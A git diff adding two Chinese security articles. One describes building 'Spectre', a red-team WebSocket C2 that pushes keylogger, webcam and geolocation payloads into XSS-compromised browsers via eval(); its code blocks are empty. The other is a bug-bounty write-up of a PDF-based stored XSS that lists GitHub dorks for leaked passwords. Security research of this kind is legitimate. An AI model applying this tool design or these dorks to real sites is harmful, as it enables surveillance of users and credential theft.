doc/构建 Spectre:用于 XSS 漏洞利用的红队工具(第 1 部分).md
Normal file
358
doc/构建 Spectre:用于 XSS 漏洞利用的红队工具(第 1 部分).md
Normal file
@ -0,0 +1,358 @@
|
||||
# 构建 Spectre:用于 XSS 漏洞利用的红队工具(第 1 部分)
|
||||
haidragon 安全狗的自我修养 2024-11-28 23:12
|
||||
|
||||
# 介绍
|
||||
|
||||
每个红队成员都有他们最喜欢的工具集,但有时当它们都没有完全满足你的需求时,你会碰壁。这就是我在处理基于浏览器的攻击时发现自己遇到的情况,尤其是围绕
|
||||
XSS 利用的攻击。有很好的工具可以查找 XSS 漏洞,但我想要一些可以快速、动态和交互式地显示影响的工具。
|
||||
|
||||
这促使我创建了
|
||||
Specter,这是一个旨在实时利用 XSS 漏洞的红队工具。Spectre 使用
|
||||
WebSocket C2 服务器将有效负载直接发送到连接的浏览器,并带有预构建的攻击脚本菜单,这些脚本也可以动态自定义。
|
||||
|
||||
这个博客是我旅程的第 1 部分。我将向您介绍该项目背后的灵感、架构以及我在构建项目时面临的一些挑战。如果你是一个喜欢摆弄漏洞利用工具的人,或者只是对红队工具是如何组合在一起感到好奇的,我希望这篇博客能引起你的共鸣。
|
||||
# 为什么要构建 Spectre?
|
||||
|
||||
这一切都始于我试图在红队参与期间演示 XSS 漏洞的影响。虽然有一些工具可以自动发现 XSS,但不太关注实时利用这些漏洞。我想要一个可以:
|
||||
1. 按需执行
|
||||
自定义 JavaScript 负载。
|
||||
|
||||
1. 提供
|
||||
预构建的漏洞利用脚本菜单以进行快速演示。
|
||||
|
||||
# 如何运作
|
||||
|
||||
Spectre 基本上分为两部分:
|
||||
1. 服务器:基于 Python 的 WebSocket 服务器,充当控制中心,允许您选择有效负载并将其发送到连接的客户端。
|
||||
|
||||
1. 客户端:注入浏览器的一个小 JavaScript 代码段,用于执行服务器发送的有效负载。
|
||||
|
||||
## 主要特点
|
||||
- 预定义负载的菜单,例如键盘记录器、地理位置检索和网络摄像头访问。
|
||||
|
||||
- 对需要用户输入的脚本(如 URL 或自定义消息)进行动态自定义。
|
||||
|
||||
## 设置环境
|
||||
## 先决条件:
|
||||
- Python 3.7+ 版
|
||||
|
||||
- ngrok
|
||||
用于公开 WebSocket 服务器
|
||||
|
||||
- JavaScript 和 WebSocket 的基本知识
|
||||
|
||||
## 第 1 步:克隆项目
|
||||
|
||||
您可以先克隆
|
||||
Specter 存储库或使用提供的 and 文件创建 Python 项目。[很快就会分享 repo,代码还在开发中,报错少 : ( ]server.pypayloads.py
|
||||
## 第 2 步:安装依赖项
|
||||
|
||||
确保您已安装。如果没有,请使用 pip 安装它:websockets
|
||||
```
|
||||
```
|
||||
|
||||
以下是
|
||||
Spectre 项目结构的简要概述:
|
||||
```
|
||||
```
|
||||
# 关键组件:
|
||||
1. server.py
|
||||
:
|
||||
|
||||
托管 WebSocket 服务器。
|
||||
|
||||
允许在连接的客户端上动态选择和执行负载。
|
||||
|
||||
处理来自客户端的结果,如 Base64 图像或剪贴板数据。
|
||||
|
||||
2.
|
||||
:payloads.py
|
||||
|
||||
将模块化 JavaScript 有效负载存储为字典。
|
||||
|
||||
有效载荷包括键盘记录器、地理位置、网络摄像头捕获等。
|
||||
|
||||
3. :client.html
|
||||
|
||||
包含一个 WebSocket 客户端,用于侦听命令并在浏览器中执行有效负载。
|
||||
|
||||
4.
|
||||
:requirements.txt
|
||||
|
||||
通过列出依赖项来帮助设置 Python 环境。
|
||||
|
||||
5.
|
||||
:Readme
|
||||
|
||||
它;仅用于文档目的。
|
||||
## Client.html
|
||||
|
||||
该文件用作 Spectre 的
|
||||
测试客户端。它模拟恶意脚本嵌入到易受攻击的 Web 应用程序中的场景。以下是其组件的简要说明:client.html
|
||||
## 目的
|
||||
|
||||
测试环境:此文件用于测试 Spectre 的 WebSocket 服务器功能。
|
||||
|
||||
模拟漏洞利用:它运行 WebSocket 服务器动态发送的 JavaScript 有效负载。
|
||||
```
|
||||
```
|
||||
## Server.py
|
||||
|
||||
这是我们的服务器,将作为 C2 服务器运行,我们可以在其中从终端发送有效负载,并将在客户端浏览器上执行
|
||||
|
||||
WebSocket 协议用于
|
||||
服务器(由您控制)和
|
||||
客户端(在浏览器上运行)之间的实时全双工通信。以下是有关如何建立连接以及如何将有效负载发送到客户端的分步说明:
|
||||
## 1. 客户端连接到服务器
|
||||
|
||||
WebSocket 连接:
|
||||
|
||||
客户端(浏览器)通过建立 WebSocket 连接连接到 WebSocket 服务器 ()。这由客户端 HTML 代码中的函数处理。ws://localhost:8765connectWebSocket()
|
||||
|
||||
连接是使用 中的行从客户端启动的。new WebSocket("ws://localhost:8765")client.html
|
||||
# 2. 在服务器中处理客户端连接
|
||||
|
||||
服务器接受连接:
|
||||
|
||||
服务器通过该函数监听 port 上的传入 WebSocket 连接。8765websockets.serve(handle_client, "localhost", 8765)
|
||||
|
||||
客户端连接后,将调用该函数。handle_client()
|
||||
|
||||
该对象表示与客户端的活动连接,用于存储活动的 WebSocket 连接以供进一步通信。websocketcurrent_websocket
|
||||
# 3. 向客户端发送有效负载
|
||||
|
||||
在服务器上选择 Payload:
|
||||
|
||||
建立连接后,服务器允许用户(通常是红队操作员或攻击者)选择要发送到客户端的有效负载。
|
||||
|
||||
系统提示操作员通过输入选择编号来选择有效负载,该编号对应于字典中的选项。payloads
|
||||
|
||||
负载:
|
||||
|
||||
有效负载是存储在字典中的预定义脚本。每个有效负载都有一个唯一的密钥和一个描述。payloads
|
||||
|
||||
例如,键对应于
|
||||
键盘记录器,键对应于
|
||||
语音转文本功能。310
|
||||
```
|
||||
```
|
||||
|
||||
如果 Operator 选择的有效负载具有动态组件(如用于自定义有效负载的用户输入),则服务器会提示 Operator 输入必要的值,并在将其发送到 Client 端之前将其替换为有效负载。
|
||||
|
||||
发送有效负载:
|
||||
|
||||
选择负载后,服务器使用命令将其发送到客户端。这会将脚本 (JavaScript 代码) 发送到客户端执行。await websocket.send(payload)
|
||||
# 4. 在客户端上执行 Payload
|
||||
|
||||
客户端上的有效负载执行:
|
||||
|
||||
收到有效负载后,客户端 () 使用 WebSocket 事件处理程序内的函数动态执行它。client.htmleval()onmessage
|
||||
|
||||
该脚本在浏览器上下文中执行,这意味着它可以与页面交互、访问浏览器 API 等。
|
||||
```
|
||||
```
|
||||
|
||||
有效载荷示例:
|
||||
|
||||
键盘记录器有效载荷:发送有效负载时(对应于 selection ),脚本将从浏览器捕获击键并将其发送回服务器。keylogger3
|
||||
|
||||
语音转文本有效载荷:选择有效负载后,浏览器将启动语音识别并将转录的文本发送回服务器。speech-to-text
|
||||
# 结论
|
||||
|
||||
在第一部分中,我们设置了
|
||||
Spectre 并演示了它如何通过 WebSocket 连接到客户端以发送动态负载,如键盘记录器和语音转文本。在下一部分中,我们将深入探讨更多有效载荷和高级功能,增强
|
||||
Spectre 以进行更深入的红队模拟。敬请期待!
|
||||
|
||||
|
||||
其它相关课程
|
||||
|
||||
|
||||

|
||||
#
|
||||
#
|
||||
|
||||

|
||||
|
||||

|
||||
#
|
||||
|
||||

|
||||
#
|
||||
# 详细目录
|
||||
# QT开发底层原理与安全逆向视频教程
|
||||
|
||||

|
||||
|
||||
|
||||
- 
|
||||
|
||||
-
|
||||
|
||||
- 
|
||||
|
||||
|
||||
|
||||
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
linux高级usb安全开发与源码分析视频教程
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
**linux程序设计与安全开发**
|
||||
|
||||
****
|
||||

|
||||
-
|
||||
- **windows恶意软件开发与对抗视频教程**
|
||||
|
||||
-
|
||||
- 
|
||||
|
||||
#
|
||||
|
||||
|
||||
**二进制漏洞**
|
||||
|
||||
|
||||
- 
|
||||
|
||||
- #
|
||||
|
||||
-
|
||||
- w
|
||||
i
|
||||
n
|
||||
d
|
||||
o
|
||||
w
|
||||
s
|
||||
网
|
||||
络
|
||||
安
|
||||
全
|
||||
防
|
||||
火
|
||||
墙
|
||||
与
|
||||
虚
|
||||
拟
|
||||
网
|
||||
卡
|
||||
(
|
||||
更
|
||||
新
|
||||
完
|
||||
成
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- w
|
||||
i
|
||||
n
|
||||
d
|
||||
o
|
||||
w
|
||||
s
|
||||
文
|
||||
件
|
||||
过
|
||||
滤
|
||||
(
|
||||
更
|
||||
新
|
||||
完
|
||||
成
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- U
|
||||
S
|
||||
B
|
||||
过
|
||||
滤
|
||||
(
|
||||
更
|
||||
新
|
||||
完
|
||||
成
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- 游
|
||||
戏
|
||||
安
|
||||
全
|
||||
(
|
||||
更
|
||||
新
|
||||
中
|
||||
)
|
||||
|
||||
- 
|
||||
|
||||
- i
|
||||
o
|
||||
s
|
||||
逆
|
||||
向
|
||||
|
||||
- 
|
||||
|
||||
- w
|
||||
i
|
||||
n
|
||||
d
|
||||
b
|
||||
g
|
||||
|
||||
- 
|
||||
|
||||
- 还
|
||||
有
|
||||
很
|
||||
多
|
||||
免
|
||||
费
|
||||
教
|
||||
程
|
||||
(
|
||||
限
|
||||
学
|
||||
员
|
||||
)
|
||||
|
||||
- 
|
||||

|
||||

|
||||
|
||||
- 
|
||||
|
||||
|
||||
- 更
|
||||
多
|
||||
详
|
||||
细
|
||||
内
|
||||
容
|
||||
添
|
||||
加
|
||||
作
|
||||
者
|
||||
微
|
||||
信
|
||||
|
||||
- 
|
||||
|
||||
-
|
||||
|
||||
- 
|
||||
|
72
doc/记一次SRC利用github搜索拿下中危漏洞.md
Normal file
72
doc/记一次SRC利用github搜索拿下中危漏洞.md
Normal file
@ -0,0 +1,72 @@
|
||||
# 记一次SRC利用github搜索拿下中危漏洞
|
||||
进击的HACK 2024-11-28 23:56
|
||||
|
||||
扫码领资料
|
||||
|
||||
获网安教程
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
# 本文由掌控安全学院 - asdad 投稿
|
||||
|
||||
**来****Track安全社区投稿~**
|
||||
|
||||
**千元稿费!还有保底奖励~(https://bbs.zkaq.cn)**
|
||||
|
||||
由于是某项目所以厚码,打开官网基本都是静态页面,没有什么交互功能,找了半天只有一个投诉功能,在投诉功能里存在附件处上,直接上传pdf型xss,点击提交后会返回查询码。
|
||||
|
||||

|
||||
|
||||
img
|
||||
|
||||
但是上传了没办法证明是否存在xss漏洞,在查看举报结果处查看举报结果,抓取返回包,发现返回了存储地址,一般来说这个时候直接路径拼接上url访问就行了。
|
||||
|
||||

|
||||
|
||||
img
|
||||
|
||||
进行url拼接,https://xxxx.xxx.com/+xxx.pdf 发现页面不存在,所以猜测存储上传文件的应该其他域名,比如img,Pictures开头的这类的域名。
|
||||
|
||||

|
||||
|
||||
img
|
||||
|
||||
有师傅可能不知道github信息收集的语法规则,在这里刚好给大家把部分常用语法放在下面了。
|
||||
|
||||
•site:Github.com password
|
||||
•site:Github.com ftp ftppassword
|
||||
•site:Github.com 密码
|
||||
•site:Github.com 内部
|
||||
•in:name test # 仓库标题搜索含有关键字test
|
||||
•in:descripton test # 仓库描述搜索含有关键字
|
||||
•in:readme test # Readme文件搜素含有关键字
|
||||
•stars:>3000 test # stars数量大于3000的搜索关键字
|
||||
•stars:1000..3000 test # stars数量大于1000小于3000的搜索关键字
|
||||
•forks:>1000 test # forks数量大于1000的搜索关键字
|
||||
•forks:1000..3000 test # forks数量大于1000小于3000的搜索关键字
|
||||
•size:>=5000 test # 指定仓库大于5000k(5M)的搜索关键字
|
||||
•pushed:>2019-02-12 test # 发布时间大于2019-02-12的搜索关键字
|
||||
•created:>2019-02-12 test # 创建时间大于2019-02-12的搜索关键字
|
||||
•user:test # 用户名搜素
|
||||
•license:apache-2.0 test # 明确仓库的 LICENSE 搜索关键字
|
||||
•language:java test # 在java语言的代码中搜索关键字
|
||||
•user:test in:name test # 组合搜索,用户名test的标题含有test的
|
||||
|
||||
接下来使用关键词目标主域名xxx.com搜索,在github搜索结果的第二页发现一个目标以img开头的域名,感觉有了。
|
||||
|
||||

|
||||
|
||||
img
|
||||
|
||||
5.尝试拼接https://img.xxx.com/+x.pdf 最终访问pdf地址成功执行xss代码,弹窗2,白捡一个洞,这个要看有没有说明不收pdf型xss,收的话就是一个中危500到手。
|
||||
|
||||

|
||||
|
||||
img
|
||||
```
|
||||
```
|
||||
|
Loading…
x
Reference in New Issue
Block a user